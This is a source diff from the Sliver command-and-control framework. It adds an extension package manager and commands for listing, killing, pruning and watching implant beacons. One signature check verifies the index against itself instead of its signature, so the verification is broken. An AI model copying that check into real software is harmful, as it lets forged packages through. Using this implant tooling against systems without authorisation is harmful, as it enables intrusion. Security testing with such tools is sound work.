return errors.New("failed to install extension")
}
extCmd, err := extensions.LoadExtensionManifest(filepath.Join(*installPath, extensions.ManifestFileName))
if err != nil {
return err
}
// do not add if the command already exists
if extensions.CmdExists(extCmd.Name, con.App) {
return fmt.Errorf("%s command already exists", extCmd.Name)
}
extensions.ExtensionRegisterCommand(extCmd, con)
return nil
}
+355
View File
@@ -0,0 +1,355 @@
package armory
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"crypto/tls"
"encoding/base64"
"encoding/json"
"errors"
"fmt"
"io/ioutil"
"net"
"net/http"
"net/url"
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/server/cryptography/minisign"
)
// ArmoryIndexParser - Generic interface to fetch armory indexes
type ArmoryIndexParser func(*assets.ArmoryConfig, ArmoryHTTPConfig) (*ArmoryIndex, error)
// ArmoryPackageParser - Generic interface to fetch armory package manifests
type ArmoryPackageParser func(*ArmoryPackage, bool, ArmoryHTTPConfig) (*minisign.Signature, []byte, error)
var (
indexParsers = map[string]ArmoryIndexParser{
"api.github.com": GithubArmoryIndexParser,
}
pkgParsers = map[string]ArmoryPackageParser{
"api.github.com": GithubArmoryPackageParser,
}
)
const (
armoryIndexFileName = "armory.json"
armoryIndexSigFileName = "armory.minisig"
)
type armoryIndexResponse struct {
Minisig string `json:"minisig"` // Minisig
ArmoryIndex string `json:"armory_index"` // Base64 String
}
type armoryPkgResponse struct {
Minisig string `json:"minisig"` // Minisig
TarGzURL string `json:"tar_gz_url"`
}
// DefaultArmoryParser - Parse the armory index directly from the url
func DefaultArmoryIndexParser(armoryConfig *assets.ArmoryConfig, clientConfig ArmoryHTTPConfig) (*ArmoryIndex, error) {
var publicKey minisign.PublicKey
err := publicKey.UnmarshalText([]byte(armoryConfig.PublicKey))
if err != nil {
return nil, err
}
client := httpClient(clientConfig)
resp, err := client.Get(armoryConfig.RepoURL)
if err != nil {
return nil, err
}
defer resp.Body.Close()
body, err := ioutil.ReadAll(resp.Body)
if err != nil {
return nil, err
}
if resp.StatusCode != http.StatusOK {
return nil, errors.New("api returned non-200 status code")
}
index := &armoryIndexResponse{}
err = json.Unmarshal(body, index)
if err != nil {
return nil, err
}
// Verify index is signed by trusted key
valid := minisign.Verify(publicKey, []byte(index.ArmoryIndex), []byte(index.ArmoryIndex))
if !valid {
return nil, errors.New("invalid signature")
}
armoryIndex := &ArmoryIndex{}
armoryIndexData, err := base64.StdEncoding.DecodeString(index.ArmoryIndex)
if err != nil {
return nil, err
}
err = json.Unmarshal(armoryIndexData, armoryIndex)
if err != nil {
return nil, err
}
return armoryIndex, nil
}
// DefaultArmoryPkgParser - Parse the armory package manifest directly from the url
func DefaultArmoryPkgParser(armoryPkg *ArmoryPackage, sigOnly bool, clientConfig ArmoryHTTPConfig) (*minisign.Signature, []byte, error) {
var publicKey minisign.PublicKey
err := publicKey.UnmarshalText([]byte(armoryPkg.PublicKey))
if err != nil {
return nil, nil, err
}
client := httpClient(clientConfig)
resp, err := client.Get(armoryPkg.RepoURL)
if err != nil {
return nil, nil, err
}
defer resp.Body.Close()
body, err := ioutil.ReadAll(resp.Body)
if err != nil {
return nil, nil, err
}
if resp.StatusCode != http.StatusOK {
return nil, nil, errors.New("api returned non-200 status code")
}
pkgResp := &armoryPkgResponse{}
err = json.Unmarshal(body, pkgResp)
if err != nil {
return nil, nil, err
}
sig, err := parsePkgMinsig([]byte(pkgResp.Minisig))
if err != nil {
return nil, nil, err
}
var tarGz []byte
if !sigOnly {
tarGzURL, err := url.Parse(armoryPkg.RepoURL)
if err != nil {
return nil, nil, err
}
if tarGzURL.Scheme != "https" && tarGzURL.Scheme != "http" {
return nil, nil, errors.New("invalid url scheme")
}
resp, err := client.Get(tarGzURL.String())
if err != nil {
return nil, nil, err
}
defer resp.Body.Close()
tarGz, err = ioutil.ReadAll(resp.Body)
if err != nil {
return nil, nil, err
}
if resp.StatusCode != http.StatusOK {
return nil, nil, errors.New("api returned non-200 status code")
}
}
return sig, tarGz, nil
}
type GithubAsset struct {
ID int `json:"id"`
Name string `json:"name"`
URL string `json:"url"`
Size int `json:"size"`
BrowserDownloadURL string `json:"browser_download_url"`
}
type GithubRelease struct {
ID int `json:"id"`
Name string `json:"name"`
URL string `json:"url"`
HTMLURL string `json:"html_url"`
TagName string `json:"tag_name"`
Body string `json:"body"`
Prerelease bool `json:"prerelease"`
TarballURL string `json:"tarball_url"`
ZipballURL string `json:"zipball_url"`
CreatedAt string `json:"created_at"`
PublishedAt string `json:"published_at"`
Assets []GithubAsset `json:"assets"`
}
// GithubArmoryIndexParser - Parse the armory index from a GitHub release
func GithubArmoryIndexParser(armoryConfig *assets.ArmoryConfig, clientConfig ArmoryHTTPConfig) (*ArmoryIndex, error) {
var publicKey minisign.PublicKey
err := publicKey.UnmarshalText([]byte(armoryConfig.PublicKey))
if err != nil {
return nil, err
}
client := httpClient(clientConfig)
resp, err := client.Get(armoryConfig.RepoURL)
if err != nil {
return nil, err
}
defer resp.Body.Close()
body, err := ioutil.ReadAll(resp.Body)
if err != nil {
return nil, err
}
if resp.StatusCode != http.StatusOK {
return nil, errors.New("api returned non-200 status code")
}
releases := []GithubRelease{}
err = json.Unmarshal(body, &releases)
if err != nil {
return nil, err
}
if len(releases) < 1 {
return nil, errors.New("no releases found")
}
release := releases[0] // Latest only right now
var armoryIndexData []byte
var sigData []byte
for _, asset := range release.Assets {
if asset.Name == armoryIndexFileName {
resp, err := client.Get(asset.BrowserDownloadURL)
if err != nil {
return nil, err
}
defer resp.Body.Close()
armoryIndexData, err = ioutil.ReadAll(resp.Body)
if err != nil {
return nil, err
}
}
if asset.Name == armoryIndexSigFileName {
resp, err := client.Get(asset.BrowserDownloadURL)
if err != nil {
return nil, err
}
defer resp.Body.Close()
sigData, err = ioutil.ReadAll(resp.Body)
if err != nil {
return nil, err
}
}
}
// Verify index is signed by trusted key
valid := minisign.Verify(publicKey, armoryIndexData, sigData)
if !valid {
return nil, errors.New("invalid signature")
}
armoryIndex := &ArmoryIndex{}
err = json.Unmarshal(armoryIndexData, armoryIndex)
if err != nil {
return nil, err
}
return armoryIndex, nil
}
// GithubArmoryPackageParser - Retrieve the minisig and tar.gz for an armory package from a GitHub release
func GithubArmoryPackageParser(armoryPkg *ArmoryPackage, sigOnly bool, clientConfig ArmoryHTTPConfig) (*minisign.Signature, []byte, error) {
var publicKey minisign.PublicKey
err := publicKey.UnmarshalText([]byte(armoryPkg.PublicKey))
if err != nil {
return nil, nil, err
}
client := httpClient(clientConfig)
resp, err := client.Get(armoryPkg.RepoURL)
if err != nil {
return nil, nil, err
}
defer resp.Body.Close()
body, err := ioutil.ReadAll(resp.Body)
if err != nil {
return nil, nil, err
}
if resp.StatusCode != http.StatusOK {
return nil, nil, errors.New("api returned non-200 status code")
}
releases := []GithubRelease{}
err = json.Unmarshal(body, &releases)
if err != nil {
return nil, nil, err
}
release := releases[0] // Latest only right now
var sig *minisign.Signature
var tarGz []byte
for _, asset := range release.Assets {
if asset.Name == fmt.Sprintf("%s.minisig", armoryPkg.CommandName) {
var resp *http.Response
resp, err = client.Get(asset.BrowserDownloadURL)
if err != nil {
break
}
defer resp.Body.Close()
var body []byte
body, err = ioutil.ReadAll(resp.Body)
if err != nil {
break
}
sig, err = parsePkgMinsig(body)
if err != nil {
break
}
}
if asset.Name == fmt.Sprintf("%s.tar.gz", armoryPkg.CommandName) && !sigOnly {
var resp *http.Response
resp, err = client.Get(asset.BrowserDownloadURL)
if err != nil {
break
}
defer resp.Body.Close()
tarGz, err = ioutil.ReadAll(resp.Body)
if err != nil {
break
}
}
}
return sig, tarGz, err
}
func parsePkgMinsig(data []byte) (*minisign.Signature, error) {
var sig minisign.Signature
err := sig.UnmarshalText(data)
if err != nil {
return nil, err
}
if len(sig.TrustedComment) < 1 {
return nil, errors.New("missing trusted comment")
}
return &sig, nil
}
func httpClient(config ArmoryHTTPConfig) *http.Client {
return &http.Client{
Timeout: config.Timeout,
Transport: &http.Transport{
Dial: (&net.Dialer{
Timeout: config.Timeout,
}).Dial,
Proxy: http.ProxyURL(config.ProxyURL),
TLSHandshakeTimeout: config.Timeout,
TLSClientConfig: &tls.Config{
InsecureSkipVerify: config.DisableTLSValidation,
},
},
}
}
+65
View File
@@ -0,0 +1,65 @@
package armory
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"regexp"
"github.com/bishopfox/sliver/client/command/alias"
"github.com/bishopfox/sliver/client/command/extensions"
"github.com/bishopfox/sliver/client/console"
"github.com/desertbit/grumble"
)
// ArmorySearchCmd - Search for packages by name
func ArmorySearchCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintInfof("Refreshing package cache ... ")
clientConfig := parseArmoryHTTPConfig(ctx)
refresh(clientConfig)
con.Printf(console.Clearln + "\r")
rawNameExpr := ctx.Args.String("name")
if rawNameExpr == "" {
con.PrintErrorf("Please specify a search term!\n")
return
}
nameExpr, err := regexp.Compile(rawNameExpr)
if err != nil {
con.PrintErrorf("Invalid regular expression: %s\n", err)
return
}
aliases, exts := packagesInCache()
matchedAliases := []*alias.AliasManifest{}
for _, a := range aliases {
if nameExpr.MatchString(a.CommandName) {
matchedAliases = append(matchedAliases, a)
}
}
matchedExts := []*extensions.ExtensionManifest{}
for _, ext := range exts {
if nameExpr.MatchString(ext.CommandName) {
matchedExts = append(matchedExts, ext)
}
}
if len(matchedAliases) == 0 && len(matchedExts) == 0 {
con.PrintInfof("No packages found matching '%s'\n", rawNameExpr)
return
}
PrintArmoryPackages(matchedAliases, matchedExts, con)
}
+112
View File
@@ -0,0 +1,112 @@
package armory
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"io/ioutil"
"strings"
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/command/alias"
"github.com/bishopfox/sliver/client/command/extensions"
"github.com/bishopfox/sliver/client/console"
"github.com/desertbit/grumble"
)
// ArmoryUpdateCmd - Update all installed extensions/aliases
func ArmoryUpdateCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintInfof("Refreshing package cache ... ")
clientConfig := parseArmoryHTTPConfig(ctx)
refresh(clientConfig)
con.Printf(console.Clearln + "\r")
// Aliases
aliasUpdates := checkForAliasUpdates(clientConfig, con)
if 0 < len(aliasUpdates) {
con.PrintInfof("%d alias(es) out of date: %s\n", len(aliasUpdates), strings.Join(aliasUpdates, ", "))
for _, aliasName := range aliasUpdates {
err := installAliasPackageByName(aliasName, clientConfig, con)
if err != nil {
con.PrintErrorf("Failed to update %s: %s\n", aliasName, err)
}
}
} else {
con.PrintInfof("All aliases up to date!\n")
}
// Extensions
extUpdates := checkForExtensionUpdates(clientConfig, con)
if 0 < len(extUpdates) {
con.PrintInfof("%d extension(s) out of date: %s\n", len(extUpdates), strings.Join(extUpdates, ", "))
for _, extName := range extUpdates {
err := installExtensionPackageByName(extName, clientConfig, con)
if err != nil {
con.PrintErrorf("Failed to update %s: %s\n", extName, err)
}
}
} else {
con.PrintInfof("All extensions up to date!\n")
}
}
func checkForAliasUpdates(clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) []string {
cachedAliases, _ := packagesInCache()
results := []string{}
for _, aliasManifestPath := range assets.GetInstalledAliasManifests() {
data, err := ioutil.ReadFile(aliasManifestPath)
if err != nil {
continue
}
localManifest, err := alias.ParseAliasManifest(data)
if err != nil {
continue
}
for _, latestAlias := range cachedAliases {
// Right now we don't try to enforce any kind of versioning, it is assumed if the version from
// the armory differs at all from the local version, the extension is out of date.
if latestAlias.CommandName == localManifest.CommandName && latestAlias.Version != localManifest.Version {
results = append(results, localManifest.CommandName)
}
}
}
return results
}
func checkForExtensionUpdates(clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) []string {
_, cachedExtensions := packagesInCache()
results := []string{}
for _, extManifestPath := range assets.GetInstalledExtensionManifests() {
data, err := ioutil.ReadFile(extManifestPath)
if err != nil {
continue
}
localManifest, err := extensions.ParseExtensionManifest(data)
if err != nil {
continue
}
for _, latestExt := range cachedExtensions {
// Right now we don't try to enforce any kind of versioning, it is assumed if the version from
// the armory differs at all from the local version, the extension is out of date.
if latestExt.CommandName == localManifest.CommandName && latestExt.Version != localManifest.Version {
results = append(results, localManifest.CommandName)
}
}
}
return results
}
+112 -46
View File
@@ -24,16 +24,54 @@ import (
"strings"
"time"
"github.com/bishopfox/sliver/client/command/kill"
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/desertbit/grumble"
"github.com/jedib0t/go-pretty/v6/table"
"golang.org/x/crypto/ssh/terminal"
)
// BeaconsCmd - Display/interact with beacons
func BeaconsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
killFlag := ctx.Flags.String("kill")
killAll := ctx.Flags.Bool("kill-all")
// Handle kill
if killFlag != "" {
beacon, err := GetBeacon(con, killFlag)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
err = kill.KillBeacon(beacon, false, con)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
con.Println()
con.PrintInfof("Killed %s (%s)\n", beacon.Name, beacon.ID)
}
if killAll {
beacons, err := GetBeacons(con)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
for _, beacon := range beacons.Beacons {
err = kill.KillBeacon(beacon, true, con)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
con.Println()
con.PrintInfof("Killed %s (%s)\n", beacon.Name, beacon.ID)
}
}
beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{})
if err != nil {
con.PrintErrorf("%s\n", err)
@@ -43,61 +81,89 @@ func BeaconsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
PrintBeacons(beacons.Beacons, con)
}
// BeaconsRmCmd - Display/interact with beacons
func BeaconsRmCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
beacon, err := SelectBeacon(con)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
_, err = con.Rpc.RmBeacon(context.Background(), beacon)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
con.PrintInfof("Beacon removed (%s)\n", beacon.ID)
}
// PrintBeacons - Display a list of beacons
func PrintBeacons(beacons []*clientpb.Beacon, con *console.SliverConsoleClient) {
if len(beacons) == 0 {
con.PrintInfof("No beacons 🙁\n")
return
}
tw := renderBeacons(beacons, con)
con.Printf("%s\n", tw.Render())
}
func renderBeacons(beacons []*clientpb.Beacon, con *console.SliverConsoleClient) table.Writer {
width, _, err := terminal.GetSize(0)
if err != nil {
width = 999
}
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
tw.AppendHeader(table.Row{
"ID",
"Name",
"Tasks",
"Transport",
"Remote Address",
"Hostname",
"Username",
"Operating System",
"Last Check-in",
"Next Check-in",
})
for _, beacon := range beacons {
next := time.Unix(beacon.NextCheckin, 0).Format(time.RFC1123)
if time.Unix(beacon.NextCheckin, 0).Before(time.Now()) {
next = fmt.Sprintf("%s%s%s", console.Bold+console.Red, next, console.Normal)
}
tw.AppendRow(table.Row{
strings.Split(beacon.ID, "-")[0],
beacon.Name,
fmt.Sprintf("%d / %d", beacon.TasksCountCompleted, beacon.TasksCount),
beacon.Transport,
beacon.RemoteAddress,
beacon.Hostname,
beacon.Username,
fmt.Sprintf("%s/%s", beacon.OS, beacon.Arch),
time.Unix(beacon.LastCheckin, 0).Format(time.RFC1123),
next,
if 182 < width {
tw.AppendHeader(table.Row{
"ID",
"Name",
"Tasks",
"Transport",
"Remote Address",
"Hostname",
"Username",
"Operating System",
"Last Check-in",
"Next Check-in",
})
} else {
tw.AppendHeader(table.Row{
"ID",
"Name",
"Transport",
"Username",
"Operating System",
"Last Check-in",
"Next Check-in",
})
}
con.Printf("%s\n", tw.Render())
for _, beacon := range beacons {
color := console.Normal
activeBeacon := con.ActiveTarget.GetBeacon()
if activeBeacon != nil && activeBeacon.ID == beacon.ID {
color = console.Green
}
nextCheckin := time.Unix(beacon.NextCheckin, 0)
var next string
if time.Unix(beacon.NextCheckin, 0).Before(time.Now()) {
past := time.Now().Sub(nextCheckin)
next = fmt.Sprintf("%s-%s%s", console.Bold+console.Red, past, console.Normal)
} else {
eta := nextCheckin.Sub(time.Now())
next = fmt.Sprintf("%s%s%s", console.Bold+console.Green, eta, console.Normal)
}
if 182 < width {
tw.AppendRow(table.Row{
fmt.Sprintf(color+"%s"+console.Normal, strings.Split(beacon.ID, "-")[0]),
fmt.Sprintf(color+"%s"+console.Normal, beacon.Name),
fmt.Sprintf(color+"%d/%d"+console.Normal, beacon.TasksCountCompleted, beacon.TasksCount),
fmt.Sprintf(color+"%s"+console.Normal, beacon.Transport),
fmt.Sprintf(color+"%s"+console.Normal, beacon.RemoteAddress),
fmt.Sprintf(color+"%s"+console.Normal, beacon.Hostname),
fmt.Sprintf(color+"%s"+console.Normal, beacon.Username),
fmt.Sprintf(color+"%s/%s"+console.Normal, beacon.OS, beacon.Arch),
fmt.Sprintf(color+"%s ago"+console.Normal, time.Now().Sub(time.Unix(beacon.LastCheckin, 0))),
next,
})
} else {
tw.AppendRow(table.Row{
fmt.Sprintf(color+"%s"+console.Normal, strings.Split(beacon.ID, "-")[0]),
fmt.Sprintf(color+"%s"+console.Normal, beacon.Name),
fmt.Sprintf(color+"%s"+console.Normal, beacon.Transport),
fmt.Sprintf(color+"%s"+console.Normal, beacon.Username),
fmt.Sprintf(color+"%s/%s"+console.Normal, beacon.OS, beacon.Arch),
fmt.Sprintf(color+"%s ago"+console.Normal, time.Now().Sub(time.Unix(beacon.LastCheckin, 0))),
next,
})
}
}
return tw
}
+29
View File
@@ -38,6 +38,8 @@ var (
ErrNoBeacons = errors.New("no beacons")
// ErrNoSelection - No selection made
ErrNoSelection = errors.New("no selection")
// ErrBeaconNotFound
ErrBeaconNotFound = errors.New("no beacon found for this ID")
)
// SelectBeacon - Interactive menu for the user to select an session, optionally only display live sessions
@@ -97,3 +99,30 @@ func SelectBeacon(con *console.SliverConsoleClient) (*clientpb.Beacon, error) {
}
return nil, ErrNoSelection
}
func GetBeacon(con *console.SliverConsoleClient, beaconID string) (*clientpb.Beacon, error) {
beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{})
if err != nil {
return nil, err
}
if len(beacons.Beacons) == 0 {
return nil, ErrNoBeacons
}
for _, beacon := range beacons.Beacons {
if beacon.ID == beaconID {
return beacon, nil
}
}
return nil, ErrBeaconNotFound
}
func GetBeacons(con *console.SliverConsoleClient) (*clientpb.Beacons, error) {
beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{})
if err != nil {
return nil, err
}
if len(beacons.Beacons) == 0 {
return nil, ErrNoBeacons
}
return beacons, nil
}
+85
View File
@@ -0,0 +1,85 @@
package beacons
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"time"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/desertbit/grumble"
)
// BeaconsPruneCmd - Prune stale beacons automatically
func BeaconsPruneCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
pruneDuration, err := time.ParseDuration(ctx.Flags.String("duration"))
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
con.PrintInfof("Pruning beacons that missed their last checking by %s or more...\n\n", pruneDuration)
beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
pruneBeacons := []*clientpb.Beacon{}
for _, beacon := range beacons.Beacons {
nextCheckin := time.Unix(beacon.NextCheckin, 0)
if time.Now().Before(nextCheckin) {
continue
}
delta := time.Now().Sub(nextCheckin)
if pruneDuration <= delta {
pruneBeacons = append(pruneBeacons, beacon)
}
}
if len(pruneBeacons) == 0 {
con.PrintInfof("No beacons to prune.\n")
return
}
con.PrintWarnf("The following beacons and their tasks will be removed:\n")
for index, beacon := range pruneBeacons {
beacon, err := con.Rpc.GetBeacon(context.Background(), &clientpb.Beacon{ID: beacon.ID})
if err != nil {
con.PrintErrorf("%s\n", err)
continue
}
con.Printf("\t%d. %s (%s)\n", (index + 1), beacon.Name, beacon.ID)
}
con.Println()
confirm := false
prompt := &survey.Confirm{Message: "Prune these beacons?"}
survey.AskOne(prompt, &confirm)
if !confirm {
return
}
errCount := 0
for _, beacon := range pruneBeacons {
_, err := con.Rpc.RmBeacon(context.Background(), &clientpb.Beacon{ID: beacon.ID})
if err != nil {
con.PrintErrorf("%s\n", err)
errCount++
}
}
con.PrintInfof("Pruned %d beacon(s)\n", len(pruneBeacons)-errCount)
}
+41
View File
@@ -0,0 +1,41 @@
package beacons
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"github.com/bishopfox/sliver/client/console"
"github.com/desertbit/grumble"
)
// BeaconsRmCmd - Display/interact with beacons
func BeaconsRmCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
beacon, err := SelectBeacon(con)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
_, err = con.Rpc.RmBeacon(context.Background(), beacon)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
con.PrintInfof("Beacon removed (%s)\n", beacon.ID)
}
+67
View File
@@ -0,0 +1,67 @@
package beacons
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"fmt"
"strings"
"time"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/desertbit/grumble"
)
// BeaconsWatchCmd - Watch your beacons in real-ish time
func BeaconsWatchCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
done := waitForInput()
defer func() {
con.Printf(console.UpN+console.Clearln+"\r", 1)
con.Printf(console.UpN+console.Clearln+"\r", 1)
}()
for {
select {
case <-done:
return
case <-time.After(time.Second):
beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{})
if err != nil {
panic(err) // If we return we may leak the waiting goroutine, so we panic instead
}
tw := renderBeacons(beacons.Beacons, con)
lines := strings.Split(tw.Render(), "\n")
for _, line := range lines {
con.Printf(console.Clearln+"\r%s\n", line)
}
con.Printf("\nPress enter to stop.\n")
con.Printf(console.UpN+"\r", len(lines)+2)
}
}
}
func waitForInput() <-chan bool {
done := make(chan bool)
go func() {
defer close(done)
fmt.Scanf("\n")
done <- true
}()
return done
}
+576 -77
View File
@@ -17,7 +17,7 @@ package command
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
---
---------------------------------------------------------------------
This file contains all of the code that binds a given string/flags/etc. to a
command implementation function.
@@ -37,8 +37,11 @@ import (
"os"
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/command/alias"
"github.com/bishopfox/sliver/client/command/armory"
"github.com/bishopfox/sliver/client/command/backdoor"
"github.com/bishopfox/sliver/client/command/beacons"
"github.com/bishopfox/sliver/client/command/completers"
"github.com/bishopfox/sliver/client/command/dllhijack"
"github.com/bishopfox/sliver/client/command/environment"
"github.com/bishopfox/sliver/client/command/exec"
@@ -49,8 +52,8 @@ import (
"github.com/bishopfox/sliver/client/command/hosts"
"github.com/bishopfox/sliver/client/command/info"
"github.com/bishopfox/sliver/client/command/jobs"
"github.com/bishopfox/sliver/client/command/kill"
"github.com/bishopfox/sliver/client/command/loot"
"github.com/bishopfox/sliver/client/command/macros"
"github.com/bishopfox/sliver/client/command/monitor"
"github.com/bishopfox/sliver/client/command/network"
"github.com/bishopfox/sliver/client/command/operators"
@@ -65,6 +68,7 @@ import (
"github.com/bishopfox/sliver/client/command/sessions"
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/command/shell"
"github.com/bishopfox/sliver/client/command/socks"
"github.com/bishopfox/sliver/client/command/tasks"
"github.com/bishopfox/sliver/client/command/update"
"github.com/bishopfox/sliver/client/command/use"
@@ -83,6 +87,7 @@ const (
// BindCommands - Bind commands to a App
func BindCommands(con *console.SliverConsoleClient) {
// Load Reactions
n, err := reaction.LoadReactions()
if err != nil && !os.IsNotExist(err) {
con.PrintErrorf("Failed to load reactions: %s\n", err)
@@ -90,16 +95,194 @@ func BindCommands(con *console.SliverConsoleClient) {
con.PrintInfof("Loaded %d reaction(s) from disk\n", n)
}
// Attempt to load extensions from ~/.sliver-client/extensions/
exts, err := extensions.ParseExtensions(assets.GetExtensionsDir())
// Absorb error in case there's no extensions manifest
if err == nil {
for _, ext := range exts {
extensions.RegisterExtensionCommand(ext, con)
// Load Aliases
aliasManifests := assets.GetInstalledAliasManifests()
n = 0
for _, manifest := range aliasManifests {
_, err = alias.LoadAlias(manifest, con)
if err != nil {
con.PrintErrorf("Failed to load alias: %s\n", err)
continue
}
n++
}
if 0 < n {
con.PrintInfof("Loaded %d alias(es) from disk\n", n)
}
// Load Extensions
extensionManifests := assets.GetInstalledExtensionManifests()
n = 0
for _, manifest := range extensionManifests {
ext, err := extensions.LoadExtensionManifest(manifest)
// Absorb error in case there's no extensions manifest
if err != nil {
con.PrintErrorf("Failed to load extension: %s\n", err)
continue
}
extensions.ExtensionRegisterCommand(ext, con)
n++
}
if 0 < n {
con.PrintInfof("Loaded %d extension(s) from disk\n", n)
}
con.App.SetPrintHelp(help.HelpCmd(con)) // Responsible for display long-form help templates, etc.
// [ Aliases ] ---------------------------------------------
aliasCmd := &grumble.Command{
Name: consts.AliasesStr,
Help: "List current aliases",
LongHelp: help.GetHelpFor([]string{consts.AliasesStr}),
Run: func(ctx *grumble.Context) error {
con.Println()
alias.AliasesCmd(ctx, con)
con.Println()
return nil
},
HelpGroup: consts.GenericHelpGroup,
}
con.App.AddCommand(aliasCmd)
aliasCmd.AddCommand(&grumble.Command{
Name: consts.LoadStr,
Help: "Load a command alias",
LongHelp: help.GetHelpFor([]string{consts.AliasesStr, consts.LoadStr}),
Run: func(ctx *grumble.Context) error {
con.Println()
alias.AliasesLoadCmd(ctx, con)
con.Println()
return nil
},
Args: func(a *grumble.Args) {
a.String("dir-path", "path to the alias directory")
},
Completer: func(prefix string, args []string) []string {
return completers.LocalPathCompleter(prefix, args, con)
},
HelpGroup: consts.GenericHelpGroup,
})
aliasCmd.AddCommand(&grumble.Command{
Name: consts.InstallStr,
Help: "Install a command alias",
LongHelp: help.GetHelpFor([]string{consts.AliasesStr, consts.InstallStr}),
Run: func(ctx *grumble.Context) error {
con.Println()
alias.AliasesInstallCmd(ctx, con)
con.Println()
return nil
},
Args: func(a *grumble.Args) {
a.String("path", "path to the alias directory or tar.gz file")
},
Completer: func(prefix string, args []string) []string {
return completers.LocalPathCompleter(prefix, args, con)
},
HelpGroup: consts.GenericHelpGroup,
})
aliasCmd.AddCommand(&grumble.Command{
Name: consts.RmStr,
Help: "Remove an alias",
LongHelp: help.GetHelpFor([]string{consts.RmStr}),
Run: func(ctx *grumble.Context) error {
con.Println()
alias.AliasesRemoveCmd(ctx, con)
con.Println()
return nil
},
Args: func(a *grumble.Args) {
a.String("name", "name of the alias to remove")
},
Completer: func(prefix string, args []string) []string {
return alias.AliasCommandNameCompleter(prefix, args, con)
},
